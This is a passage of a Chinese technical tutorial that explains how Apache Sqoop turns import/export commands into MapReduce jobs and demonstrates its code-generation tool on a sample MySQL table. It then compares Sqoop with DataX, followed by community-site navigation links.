Sqoop原理Sqoop的原理:其实就是将导入导出命令转化为mapreduce程序来执行,sqoop在接收到命令后,都要生成mapreduce程序。5.1 Sqoop 代码定制使用sqoop的代码生成工具可以方便查看到sqoop所生成的java代码,并可在此基础之上进行深入定制开发。5.1.2 代码定制语法以下是Sqoop代码生成命令的语法:$ sqoop-codegen (generic-args) (codegen-args) $ sqoop-codegen (generic-args) (codegen-args) 5.1.2 代码定制案例示例:以USERDB数据库中的表emp来生成Java代码为例,下面的命令用来生成导入:$ sqoop-codegen \ --import --connect jdbc:mysql://localhost/userdb \ --username root \ --table emp 如果命令成功执行,那么它就会产生如下的输出:14/12/23 02:34:40 INFO sqoop.Sqoop: Running Sqoop version: 1.4.5 14/12/23 02:34:41 INFO tool.CodeGenTool: Beginning code generation ………………. 14/12/23 02:34:42 INFO orm.CompilationManager: HADOOP_MAPRED_HOME is /usr/local/hadoop Note: /tmp/sqoop-hadoop/compile/9a300a1f94899df4a9b10f9935ed9f91/emp.java uses or overrides a deprecated API. Note: Recompile with -Xlint:deprecation for details. 14/12/23 02:34:47 INFO orm.CompilationManager: Writing jar file: /tmp/sqoop-hadoop/compile/9a300a1f94899df4a9b10f9935ed9f91/emp.jar 验证: 查看输出目录下的文件$ cd /tmp/sqoop-hadoop/compile/9a300a1f94899df4a9b10f9935ed9f91/ $ ls emp.class emp.jar emp.java 如果想做深入定制导出,则可修改上述代码文件!06 Sqoop、DataX关系与对比DataX之前写过教程,可以参考《DataX教程》6.1 Sqoop特点Sqoop主要特点:可以将关系型数据库中的数据导入hdfs、hive或者hbase等hadoop组件中,也可将hadoop组件中的数据导入到关系型数据库中;sqoop在导入导出数据时,充分采用了map-reduce计算框架,根据输入条件生成一个map-reduce作业,在hadoop集群中运行。采用map-reduce框架同时在多个节点进行import或者export操作,速度比单节点运行多个并行导入导出效率高,同时提供了良好的并发性和容错性;支持insert、update模式,可以选择参数,若内容存在就更新,若不存在就插入;对国外的主流关系型数据库支持性更好。6.2 DataX特点DataX主要特点:异构数据库和文件系统之间的数据交换;采用Framework + plugin架构构建,Framework处理了缓冲,流控,并发,上下文加载等高速数据交换的大部分技术问题,提供了简单的接口与插件交互,插件仅需实现对数据处理系统的访问;数据传输过程在单进程内完成,全内存操作,不读写磁盘,也没有IPC;开放式的框架,开发者可以在极短的时间开发一个新插件以快速支持新的数据库/文件系统。6.3 Sqoop与DataX的区别Sqoop与DataX的区别如下:sqoop采用map-reduce计算框架进行导入导出,而datax仅仅在运行datax的单台机器上进行数据的抽取和加载,速度比sqoop慢了许多;sqoop只可以在关系型数据库和hadoop组件之间进行数据迁移,而在hadoop相关组件之间,比如hive和hbase之间就无法使用sqoop互相导入导出数据,同时在关系型数据库之间,比如mysql和oracle之间也无法通过sqoop导入导出数据。与之相反,datax能够分别实现关系型数据库hadoop组件之间、关系型数据库之间、hadoop组件之间的数据迁移;sqoop是专门为hadoop而生,对hadoop支持度好,而datax可能会出现不支持高版本hadoop的现象;sqoop只支持官方提供的指定几种关系型数据库和hadoop组件之间的数据交换,而在datax中,用户只需根据自身需求修改文件,生成相应rpm包,自行安装之后就可以使用自己定制的插件;07 文末本文主要讲解了Sqoop的概念、安装以及使用,谢谢大家的阅读,本文完!
文章
SQL  ·  分布式计算  ·  关系型数据库  ·  Hadoop  ·  MySQL  ·  Java  ·  DataX  ·  数据库  ·  HIVE  ·  Hbase
2022-10-12
...
跳转至:
阿里技术
6816 人关注 | 5087 讨论 | 1208 内容
+ 订阅
  • 降本增效创未来——云原生多模数据库Lindorm 2022双十一总结
  • 使用魔搭开发自己的语音AI:从入门到精通
  • 跨端开发浪潮中的变与不变
查看更多 >
阿里云数据湖技术社区
652 人关注 | 7 讨论 | 42 内容
+ 订阅
  • 基于EMR的新一代数据湖存储加速技术详解
  • 数据湖管理及优化
  • 数据湖统一元数据与权限
查看更多 >
开发与运维
5783 人关注 | 133437 讨论 | 319383 内容
+ 订阅
  • 如何使用 layui 的富文本编辑器组件?底层原理是什么?
  • 如何使用 layui 的日期选择器组件?底层原理是什么?
  • 如何在微信小程序中使用第三方SDK?
查看更多 >
数据库
252944 人关注 | 52314 讨论 | 99219 内容
+ 订阅
  • 如何设计一个可扩展的PHP架构?
  • 如何使用 PHP 和微信公众号 API 实现获取用户的地理位置消息?底层原理是什么?
  • WEB专业例子测试
查看更多 >
大数据
188712 人关注 | 30988 讨论 | 83925 内容
+ 订阅
  • 如何使用 PHP 和微信公众号 API 实现获取用户的地理位置消息?底层原理是什么?
  • WEB专业例子测试
  • 2023美赛春季赛A题思路数据代码论文分享
查看更多 >